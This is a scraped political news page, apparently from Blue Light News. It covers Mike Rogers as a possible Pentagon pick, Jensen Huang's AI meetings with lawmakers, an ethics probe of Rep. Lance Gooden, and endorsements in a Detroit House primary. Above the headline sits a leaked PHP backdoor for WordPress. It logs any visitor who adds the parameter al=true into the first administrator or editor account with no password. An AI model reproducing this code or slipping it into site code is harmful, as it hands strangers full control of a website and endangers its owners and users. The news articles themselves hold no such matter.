// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); House Armed Services chair in the mix for Trump’s Pentagon chief – Blue Light News
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House Armed Services chair in the mix for Trump’s Pentagon chief

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House Armed Services Chair Mike Rogers is under consideration to be President-elect Donald Trump’s Defense secretary, according to three people familiar with the deliberations.

Rogers, a conservative Alabama Republican and among the most strident of defense hawks in the House, would be a dark horse in a field of potential Trump Pentagon picks.

Rogers is a relatively low-key lawmaker despite his seniority. And though he’s not as personally close to the former president as other contenders for the Pentagon or other top national security jobs, Rogers is nonetheless a strong political ally and Trump defender. And they align on a number of national security issues.

Trump’s transition team did not immediately respond to a request for comment. A spokesperson for Rogers declined to comment.

Rogers joins a shortlist of potential nominees:

  • Rep. Mike Waltz , a former Green Beret long close to Trump who serves on the House Armed Services, Foreign Affairs and Intelligence committees. 
  • Mike Pompeo, Trump’s former Secretary of State and CIA director, has also been mentioned as a contender. 
  • Sen. Tom Cotton (R-Ark.), an Army veteran and vocal defense hawk, was also thought to be in the mix for the top Pentagon job, but recently took his name out of consideration for an administration post.

Rogers has chaired Armed Services since Republicans took over the House in 2023. There, he’s pushed for significant increases in defense spending to take on China and Russia, ramp up defense production and modernize the U.S. nuclear arsenal. He’s also pushed for legislation to significantly raise junior enlisted troops’ pay and benefits.
Rogers, though, has also been a strong advocate of U.S. assistance for Ukraine as GOP opposition to new funding for the fight grew in the House. As Armed Services chair, Rogers held oversight hearings on Ukraine aid to bolster support and demonstrate that U.S. assistance is being properly employed. Just days before the election, Rogers led a bipartisan congressional delegation to Kyiv.

Trump, on the other hand, has opposed new funding for Ukraine, instead promising to negotiate an end to the war with Russia. But despite his advocacy for aid, Rogers argued shortly after taking the Armed Services gavel in 2023 that Ukraine and Russia need to be persuaded to go to the bargaining table to end the war.

His advocacy for larger defense budgets and Ukraine-related spending have run afoul of hard-right GOP factions in the House loyal to Trump. But Rogers has also championed many conservative-favored issues — most notably rolling back Biden-era personnel policies on troops’ access to abortion, diversity in the ranks and Pentagon climate programs.

Trump and Rogers align most closely on a policy issue near and dear to both of them: space. Rogers advocated for a new military service dedicated to space and defending U.S. satellites, which became the Space Force. Trump, who pushed lawmakers hard to establish the Space Force, has called creating the first new military branch since the 1940s one of his top achievements. Rogers and former Rep. Jim Cooper ushered the reorganization through Congress.

Despite his strong conservative views, Rogers has forged working relationships with Democrats in the House and Senate, working on annual defense legislation that could help him get through a possible confirmation process.

But Republicans’ success — or lack thereof — at the polls could get in the way.

GOP leaders say they’re on track to keep their majority in the House, but they’re likely to have a margin of just a handful of seats. That means Trump won’t be able to tap many Republican lawmakers for his administration, at least not initially, without risking his legislative agenda.

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Congress

Nvidia’s Huang heads to Capitol Hill for AI talks

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July 27, 2026

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Nvidia CEO Jensen Huang will meet with lawmakers in Washington to discuss American leadership on artificial intelligence, the company said Monday.

A spokesperson for the chipmaker said Huang would hold talks with both Republicans and Democrats on Capitol Hill to talk about latest developments with the technology.

“Jensen is in DC to meet with leaders on both sides of the aisle to discuss American leadership in AI, including leading in open source,” the spokesperson said.

Huang is scheduled to sit down Tuesday with Sen. Mark Warner, the top Democrat on the Senate Intelligence Committee who has expressed serious concern about security threats following last week’s OpenAI autonomous cyberattack.

The senator’s office confirmed the meeting. Senate Intelligence Chair Tom Cotton (R-Ark.) did not immediately respond to a request for comment.

It comes as Huang defended open-source AI on X, writing that such models “strengthen safety and cybersecurity, accelerate innovation and diffusion, and enable sovereignty.”

Huang’s visit comes as OpenAI CEO Sam Altman is also expected to meet with Warner, although a spokesperson for the senator said the talks were separate. Earlier Monday, Open AI announced it was in talks with Nvidia, a technology company that makes chips to use artificial intelligence, for a data center project.

The White House did not immediately respond to a request for comment.

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Texas Republican is under House Ethics investigation

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July 27, 2026

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The House Ethics Committee said in a statement Monday it is investigating Rep. Lance Gooden, a four-term Texas Republican.

It’s unclear what the committee is probing, but the Office of Congressional Conduct, an independent investigative branch of the House, sent over findings regarding Gooden to the committee June 10.

The Ethics panel plans to release an update on its investigation by Nov. 9. Committee representatives declined to comment beyond the statement.

In 2021, the Campaign Legal Center filed a complaint asking for an investigation into Gooden’s apparent failure to report his stock trades in a timely manner, which is a requirement under a federal law known as the STOCK Act. The complaint was sent to the OCC.

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Congressional Black Caucus members break with Jeffries, endorse against Thanedar in Michigan House race

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2 hours ago

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July 27, 2026

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A handful of members of the Congressional Black Caucus on Monday broke with Democratic Party leadership to endorse Michigan state Rep. Donavan McKinney in his bid to primary Rep. Shri Thanedar, an unusual move given that sitting members of the same party rarely endorse against each other.

Democratic Reps. Steven Horsford (Nev.), the former chair of the CBC, and Lateefah Simon (Calif.) called McKinney a “fighter.” Rep. Ilhan Omar (Mich.) praised McKinney as “the only trusted candidate” in the race. And Rep. Ayanna Pressley (Mass.) touted McKinney for “never [losing] sight of the people.”

“We need Donavan in Congress,” said Pressley.

The race between McKinney and Thanedar, who was elected in 2022, is the latest battleground in the ongoing ideological clash between the Democratic establishment and its progressive flank.

McKinney is hoping to capitalize on the latest wave of progressive successes in primaries, but Thanedar retains the power of the incumbency — and the backing of House Democratic leaders Hakeem Jeffries, Katherine Clark and Pete Aguilar.

Thanedar’s 2022 election marked the first time since 1955 that the majority-Black city of Detroit didn’t have a Black lawmaker representing it in Congress. And he won two years ago only after Adam Hollier, who was viewed as his most credible primary challenger, was disqualified from the ballot.

“It’s not just about having Black representation, but that is a part of what appropriate representation looks for,” Rep. Summer Lee (D-Pa.), who had previously backed McKinney, told Blue Light News. “You have a majority-Black district, and I think that there is certainly an appetite to see that again, or to at least make sure that a Black candidate has the opportunity to present themselves.”

In a phone call, Thanedar emphasized that he has worked closely with members of the CBC during his time in office, noting that the late Rep. Sheila Jackson Lee (D-Texas) was a mentor of his and, in addition to Jeffries, he has the endorsement CBC members like Rep. Bennie Thomspon (D-Miss.).

“I am fully aware that I am representing the Blackest city in America and I’m proud of it,” Thanedar, who is Indian-American, said. “My story is like Detroit’s story — I struggled through poverty, never say die, never gave up and I have that resilience that Detroit has. The resilience of Detroit is what my life is about.”

McKinney on Monday said he was “honored” by the endorsements.

“Millions of lives across the country have been made immeasurably better because of the hard work these members have done in Congress, and I look forward to working alongside these incredible leaders to pass critical legislation to protect voting rights, get big money out of our politics, and ensure all families have access to the resources they need to not just survive, but to truly thrive,” he said in a statement.

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